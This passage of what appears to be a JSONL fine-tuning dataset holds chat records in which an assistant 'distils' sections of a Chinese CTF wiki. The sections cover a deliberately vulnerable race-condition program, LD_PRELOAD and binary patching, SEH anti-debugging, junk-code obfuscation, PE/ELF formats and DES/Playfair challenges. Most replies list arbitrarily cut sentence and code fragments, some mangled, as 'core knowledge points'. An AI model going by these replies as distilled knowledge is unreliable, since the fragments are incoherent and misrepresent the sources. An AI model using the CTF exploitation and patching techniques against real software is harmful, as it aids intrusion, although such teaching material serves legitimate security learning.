"ctf_task_type": "ai", "heading": "PE 简介", "heading_path": ["PE 文件格式", "PE 简介"], "original_id": "docs-fcf0bee56732afde8b23", "original_line": 490, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "dc8f9e84a4c74fb970ec770b", "subcategory": "executable/pe/pe-excutable.md", "terms": ["AI安全", "executable", "pe", "pe-excutable.md", "code:text", "code:c"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-3c83bf539686d08987de", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/problem.md` 中的章节「源代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/problem.md`\n标题：题目\n章节：题目 > 构造例子 > 源代码\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“源代码”展开。\n- if (fd == -1) { perror(\"open file failed!\n- } } int main(int argc, char argv[argc]) { char buf[256];\n- 源代码如下 ``c #include  #include  #include  #include  #include  #include  void showflag() { system(\"cat flag\");\n- } void vuln(char file, char buf) { int number;\n- } while (1) { number = read(fd, buf + index, 128);\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- user-mode\n- race-condition\n- code:c\n\n代码/命令片段线索：\n- c: 46 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 851, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "源代码", "heading_path": ["题目", "构造例子", "源代码"], "original_id": "docs-f1b0bb0b671dbde66995", "original_line": 1227, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "source_root": "docs", "source_sha256": "659a0705e4853c265b5228b8dce6dcabc7038c914dbd2b708c5fddd53014d6f0", "split": "train", "split_group_key": "1f4ea3c31bf496bf003c7767", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "pwn", "linux", "user-mode", "race-condition", "code:c"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-3db18d0788e17ff8c3b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「IMAGE_NT_HEADERS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE文件头 > IMAGE_NT_HEADERS\n路径分类：executable / executable/pe/pe-excutable.md\n分块：1/1\n\n核心知识点：\n- 文件: figure/pe2-imagentheader.png \"图 4 - IMAGE_NT_HEADERS\"] 接下来详细说一下 NT 头。\n- ` 示例程序的 IMAGE_NT_HEADERS` 如图 4 所示： [图片: NT 头;\n- 紧跟在 DOS Stub 之后，其定义如下： ``c typedef struct _IMAGE_NT_HEADERS { DWORD Signature;\n- / +0000h PE 标识 / IMAGE_FILE_HEADER FileHeader;\n- / +0004h PE 标准头 / IMAGE_OPTIONAL_HEADER32 OptionalHeader;\n- / +0018h PE 可选头 / } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;\n\n关键术语：\n- AI安全\n- executable\n- pe\n- pe-excutable.md\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `typedef struct _IMAGE_NT_HEADERS {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 415, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "IMAGE_NT_HEADERS", "heading_path": ["PE 文件格式", "PE文件头", "IMAGE_NT_HEADERS"], "original_id": "docs-8159c7b81c7159bcbd6c", "original_line": 493, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "936865fb75ea6deba0b93db2", "subcategory": "executable/pe/pe-excutable.md", "terms": ["AI安全", "executable", "pe", "pe-excutable.md", "code:c"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-40f3499f5925a33b8ccc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/ld_preload.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/ld_preload.md`\n标题：LD_PRELOAD\n章节：LD_PRELOAD > 例题\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- } ` 整个的代码流程主要就是在不断地循环输出funny里的句子, 满足循环条件后输出key, 并用key进行异或得到flag的值. 但我们可以发现, 整个循环的次数相对来说是比较少的. 所以我们可以采用一些方法, 让循环进行得更快一些. 比如说我手动patch一下, 不让程序输出字符串(实际上printf的耗时是相当多的), 其次就是使用LD_PRELOAD使得程序的sleep()失效. 可以很明显地节省时间. 手动patch的过程比较简单. 我们可以找到代码位置, 然后用一些十六进制编辑器进行修改. 当然...\n- ` asm .text:00000000004007B7 call ___printf_chk .text:00000000004007BC xor eax, eax ` 将光标点在call ___printf_chk上, 然后选择菜单Edit->Patch Program->Assemble(当然你可以使用其他patch方式. 效果都一样). 然后将其修改为nop(0x90), 如下图所示 [图片: ida_patch.png;\n- ` c int __cdecl main(int argc, const char argv, const char envp) { qmemcpy(v23, &unk_400A7E, sizeof(v23));\n- } ` 然后使用命令gcc --shared time.c -o time.so生成动态链接文件. 当然也给出了下载链接: time.so 然后打开linux终端, 运行命令: LD_PRELOAD=./time.so ./patched.elf` [图片: LD_PRELOAD.png;\n- 文件: ./figure/2014_hitb/ida_patch.png] 将4007B7到4007BD之间的汇编代码全部修改为nop即可. 然后选择菜单Edit->Patch Program->Apply patches to input file. 当然最好做一个备份(即勾选Create a backup), 然后点击OK即可(我重命名为了patched.elf, 下载链接: patched.elf).\n\n关键术语：\n- AI安全\n- 修复/缓解\n- reverse\n- platform\n- linux\n- ld-preload.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `.rodata:0000000000400A53 00000006 C KEY:`\n- plain: 3 行，首行 `整个的代码流程主要就是在不断地循环输出`funny`里的句子, 满足循环条件后输出`key`, 并用`key`进行异或得到`flag`的值.`\n- plain: 5 行，首行 `将光标点在`call ___printf_chk`上, 然后选择菜单`Edit->Patch Program->Assemble`(当然你可以使用其他patch方式. 效果都一样). 然后将其修改为`nop(0x90)`, 如下图所示`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 3283, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["LD_PRELOAD", "例题"], "original_id": "docs-18320e4a3dbb83cb20fe", "original_line": 1500, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/ld_preload.md", "source_root": "docs", "source_sha256": "17535fd998192600f07a0f772757eb135e8499db723e724aebbf77f1ea499070", "split": "train", "split_group_key": "1c63a4866d6cec4ef792710c", "subcategory": "reverse/platform/linux", "terms": ["AI安全", "修复/缓解", "reverse", "platform", "linux", "ld-preload.md"], "title": "LD_PRELOAD"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/ld_preload.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-422e649216fc00efbeca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/vm/vm.md` 中的章节「注册SEH」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/vm/vm.md`\n标题：虚拟机分析\n章节：虚拟机分析 > 注册SEH\n路径分类：reverse / reverse/vm/vm.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“注册SEH”展开。\n- div ecx手动触发了一个除0异常. 而在loc_401301位置, 这是一个反调试技巧, jmp loc_401301+2会使得EIP转向一条指令中间, 使得无法继续调试. 所以我们可以将00401301~00401306部分的代码nop掉, 然后在00401306位置创建一个新函数seh_handler2 ` seh_handler: ;\n- ``asm .text:004012B5 push offset seh_handler .text:004012BA push large dword ptr fs:0 .text:004012C1 mov large fs:0, esp .text:004012C8 call initVM .text:004012CD int 3 ;\n- Trap to Debugger ` initVM完成的是一些虚拟机启动前的初始化工作(其实就是对一些寄存器和相关的部分赋初值), 我们之后来讨论. 这里我们关注的是SEH部分. 这里注册了一个SEH句柄, 异常处理函数我重命名为seh_handler, 并之后使用int 3手动触发异常. 而在seh_handler位置, IDA并未正确识别出对应的代码 ` .text:004012D7 seh_handler db 64h ;\n- CODE XREF: .text:00401304\u0019j .text:00401301 add esp, 0FFFFFFFFh .text:00401304 jmp short near ptr loc_401301+2 .text:00401306 ;\n\n关键术语：\n- AI安全\n- reverse\n- vm\n- vm.md\n- code:asm\n\n代码/命令片段线索：\n- asm: 5 行，首行 `.text:004012B5 push offset seh_handler`\n- plain: 10 行，首行 `.text:004012D7 seh_handler db 64h ; DATA XREF: process_input+7D\u0018o`\n- plain: 25 行，首行 `seh_handler: ; DATA XREF: process_input+7D\u0018o`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2363, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "注册SEH", "heading_path": ["虚拟机分析", "注册SEH"], "original_id": "docs-f99e5ba8415e341d8073", "original_line": 1582, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "source_root": "docs", "source_sha256": "49dd1218224f91698e8278961fe4a83f27c1af4393baa73434f368d1c1baf321", "split": "train", "split_group_key": "25be08f6396fb6f460843929", "subcategory": "reverse/vm/vm.md", "terms": ["AI安全", "reverse", "vm", "vm.md", "code:asm"], "title": "虚拟机分析"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-446d64b407097a8906bd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/readme.md` 中的章节「Android 应用运行机制简述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/readme.md`\n标题：Android 应用运行机制简述\n章节：Android 应用运行机制简述\n路径分类：android / android/basic_operating_mechanism/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Android 应用运行机制简述”展开。\n- 本部分主要关注 Android 中 Java 层代码与 Native 层代码的基本运行原理。\n- 一般而言，在启动一个 App 时，Android 会首先执行 Application 类（AndroidManifest.xml 文件中注明）的创建工作，然后再开始执行 Main Activity，继而根据各种各样的逻辑执行相关代码。\n- 注：本部分的内容可能存在以下问题 - 简略 - 理解不到位 如果发现可以补充的地方，欢迎随时及时补充。\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 239, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Android 应用运行机制简述", "heading_path": ["Android 应用运行机制简述"], "original_id": "docs-dab5863e884283a3c5bb", "original_line": 28, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/readme.md", "source_root": "docs", "source_sha256": "a1580f941e61dcda9f0069e258bfe859f24cd7181e97d3aaf3dcaf14828e49e3", "split": "train", "split_group_key": "9bb66cf56cc434cf5fc86f80", "subcategory": "android/basic_operating_mechanism/readme.md", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "readme.md"], "title": "Android 应用运行机制简述"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-4700e04eb1693f31039c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/misc-sections.md` 中的章节「ELF 标准」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/misc-sections.md`\n标题：Misc Sections\n章节：Misc Sections > .gnu.hash > ELF 标准\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“ELF 标准”展开。\n- chain 数组中的元素是和符号表中的元素一一对应的，因此符号表的元素个数必须和 nchain 的大小相同，故而符号表的索引同样可以作为 chain 表的索引。\n- 因此，如果哈希函数针对于某个名字返回值 x，那么 bucket[x%nbucket] 给出了一个索引 y，可以用来索引符号表，也可以用来索引 chain 表。\n- 如果符号表的对应索引并不是所想要的哪一个，那么 chain[y] 就会给出同一个哈希值的下一个符号表中表项的位置，即可以用来防止出现哈希值一样的情况。\n- 因此我们可以跟着 chain 链一直搜索直到遇到所想要的符号，或者遇到值为 STN_UNDEF 的 chain 的表项。\n- [图片文件: ./figure/symbol_hash_table.png] bucket 数组包含了 nbucket 个元素，chain 数组包含了 nchain 个元素，所有的数组的下标都是以 0 开始。\n\n关键术语：\n- AI安全\n- executable\n- elf\n- structure\n- misc-sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 599, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "ELF 标准", "heading_path": ["Misc Sections", ".gnu.hash", "ELF 标准"], "original_id": "docs-6771786e74d2dc12499b", "original_line": 482, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/misc-sections.md", "source_root": "docs", "source_sha256": "f7d3da2208169eec6fad2544213d980aa3e9d97996d4b54525db1509e655613d", "split": "train", "split_group_key": "a3a2c73312d82f56b350ddf7", "subcategory": "executable/elf/structure", "terms": ["AI安全", "executable", "elf", "structure", "misc-sections.md"], "title": "Misc Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/misc-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-4f55d8cf1b0af9919747", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Playfair > 原理\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- Playfair 密码（Playfair cipher or Playfair square）是一种替换密码，1854 年由英国人查尔斯·惠斯通（Charles Wheatstone）发明，基本算法如下： 1. 选取一串英文字母，除去重复出现的字母，将剩下的字母逐个逐个加入 5 × 5 的矩阵内，剩下的空间由未加入的英文字母依 a-z 的顺序加入。\n- 以 playfair example 为密匙，得 `` P L A Y F I R E X M B C D G H K N O Q S T U V W Z ` 要加密的讯息为 Hide the gold in the tree stump ` HI DE TH EG OL DI NT HE TR EX ES TU MP ` 就会得到 ` BM OD ZB XD NA BE KU DM UI XM MO UV IF ``\n- 若两个字母不同行也不同列，在矩阵中找出另外两个字母（第一个字母对应行优先），使这四个字母成为一个长方形的四个角。\n- 注意，将 q 去除，或将 i 和 j 视作同一字。\n- 若组内的字母相同，将 X（或 Q）加到该组的第一个字母后，重新分组。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 5 行，首行 `P L A Y F`\n- plain: 1 行，首行 `HI DE TH EG OL DI NT HE TR EX ES TU MP`\n- plain: 1 行，首行 `BM OD ZB XD NA BE KU DM UI XM MO UV IF`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 685, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "原理", "heading_path": ["多表代换加密", "Playfair", "原理"], "original_id": "docs-77be02c4403168f73202", "original_line": 19, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "414720b52228fd957b253423", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "AI安全", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-5022a0daf88f0d85805f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/junk-code.md` 中的章节「逆向分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/junk-code.md`\n标题：花指令\n章节：花指令 > 例题：N1CTF2020 - oflo > 逆向分析\n路径分类：reverse / reverse/obfuscate/junk-code.md\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“逆向分析”展开。\n- 惯例拖入 IDA，发现 main() 函数无法被反编译，查看汇编代码发现在 0x400BB1 处存在一个 原地 jmp 使得反汇编出错： ``c .text:0000000000400B54 ;\n- int __fastcall main(int, char , char ) .text:0000000000400B54 main: ;\n- DATA XREF: start+1D↑o .text:0000000000400B54 ;\n- .text:0000000000400C21↓o .text:0000000000400B54 ;\n- CODE XREF: .text:loc_400BB1↑j .text:0000000000400BB1 jmp short near ptr loc_400BB1+1 .text:0000000000400BB3 ;\n\n关键术语：\n- 栈\n- AI安全\n- 修复/缓解\n- reverse\n- obfuscate\n- junk-code.md\n- code:c\n- code:python\n\n代码/命令片段线索：\n- c: 28 行，首行 `.text:0000000000400B54 ; int __fastcall main(int, char **, char **)`\n- c: 18 行，首行 `.text:0000000000400BB1 nop`\n- python: 4 行，首行 `for i in range(0x400BB7, 0x400BBC + 1):`\n- c: 39 行，首行 `.text:0000000000400BB6 nop`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 5038, "chunk_count": 3, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "逆向分析", "heading_path": ["花指令", "例题：N1CTF2020 - oflo", "逆向分析"], "original_id": "docs-214710232e290f992282", "original_line": 1480, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "source_root": "docs", "source_sha256": "c78ad0d3ed80ba8667a696d4a4bc59e259c3d3a4228edc8ff4bb6fc89fb371e4", "split": "train", "split_group_key": "3fb740b307db8534cfb1f449", "subcategory": "reverse/obfuscate/junk-code.md", "terms": ["栈", "AI安全", "修复/缓解", "reverse", "obfuscate", "junk-code.md", "code:c", "code:python"], "title": "花指令"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/junk-code.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-515b96b92c00a94300d0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「出题阶段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 战争分享模式 - Belluminar > 出题阶段\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“出题阶段”展开。\n- > Challenge 1: must be on the Linux platform;\n- > > Challenge 2: No platform restriction(except Linux) No challenge type restriction (Pwn, Reverse...) 传统的 BELLUMINAR 赛制要求出的两道题目中的一道必须是在 Linux 平台，另外一个题目则为非 Linux 平台的无限制题目。\n- 为使比赛题目类型比较均衡，也有采用队伍抽签出题目方式抽取自己的题目，这要求队伍能力水平更为全面，因此为了不失平衡性，也会将两道题目的计入不同分值（比如要求其中一道题目分值为 200，而另外一道分值则为 100）。\n- 首先，各个受邀参赛队伍都必须在正式比赛前出 2 道题目。\n\n关键术语：\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 420, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "出题阶段", "heading_path": ["CTF 竞赛模式简介", "战争分享模式 - Belluminar", "出题阶段"], "original_id": "docs-dc1e07a0f116f280d3f0", "original_line": 529, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "5c4fe5f45ea4d7f7981e3e2a", "subcategory": "introduction/mode.md", "terms": ["mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-523120b1c6a6a8b25dab", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：-- coding: utf-8 -- > 参考文献\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考文献”展开。\n- https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.2.0.txt - https://www.cnblogs.com/ECJTUACM-873284962/p/9387711.html - https://www.cnblogs.com/ECJTUACM-873284962/p/9884416.html - http://bobao.360.cn/ctf/detail/197.html\n\n关键术语：\n- AI安全\n- misc\n- archive\n- zip.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 225, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "参考文献", "heading_path": ["-- coding: utf-8 --", "参考文献"], "original_id": "docs-ea8b84a370e26d55f971", "original_line": 554, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "source_root": "docs", "source_sha256": "171c086900627e8f254fb7ea6f3caf29192f5b226bef34498c74cf7a30fd5f7b", "split": "train", "split_group_key": "2334f0afdd74fccbe82a0c14", "subcategory": "misc/archive/zip.md", "terms": ["AI安全", "misc", "archive", "zip.md"], "title": "ZIP 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-53620d8da567371fc879", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「2019 CISCN part_des」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：-- coding: utf-8 -- > 2019 CISCN part_des\n路径分类：crypto / crypto/blockcipher/des.md\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“2019 CISCN part_des”展开。\n- 0, 1, 0, 0, 0, 1, 1, 1, 1], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1], [1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1...\n- def permute(self, lst, tb): return [lst[i-1] for i in tb]\n- def f(self,riti,subkeyi): tmp = [i^j for i,j in zip(subkeyi,self.permute(riti,DES.E))] return self.permute(sum([[int(l) for l in str(bin(DES.Sbox[i][int(str(tmp[6i])+str(tmp[6i+5]),2)][int(\"\".join(str(j) for j in tmp[6i+1:6i+5]),2)])[2:].zfill(4))] for i in...\n- def des_main(self,m,mark): sbkey = self.subkey[0] #if mark == 'e' else self.subkey[1] # tmp = self.permute([int(i) for i in list((m).ljust(64,\"0\"))],self.IP) tmp = [int(i) for i in list((m).ljust(64,\"0\"))] global kkk print(kkk) for i in range(kkk): tmp = tm...\n- def des_encipher(self,m): m = \"\".join([bin(ord(i))[2:].zfill(8) for i in m]) des_en = self.des_main(m,'e') return \"\".join([chr(int(des_en[i8:i8+8],2)) for i in range(8)])\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- blockcipher\n- 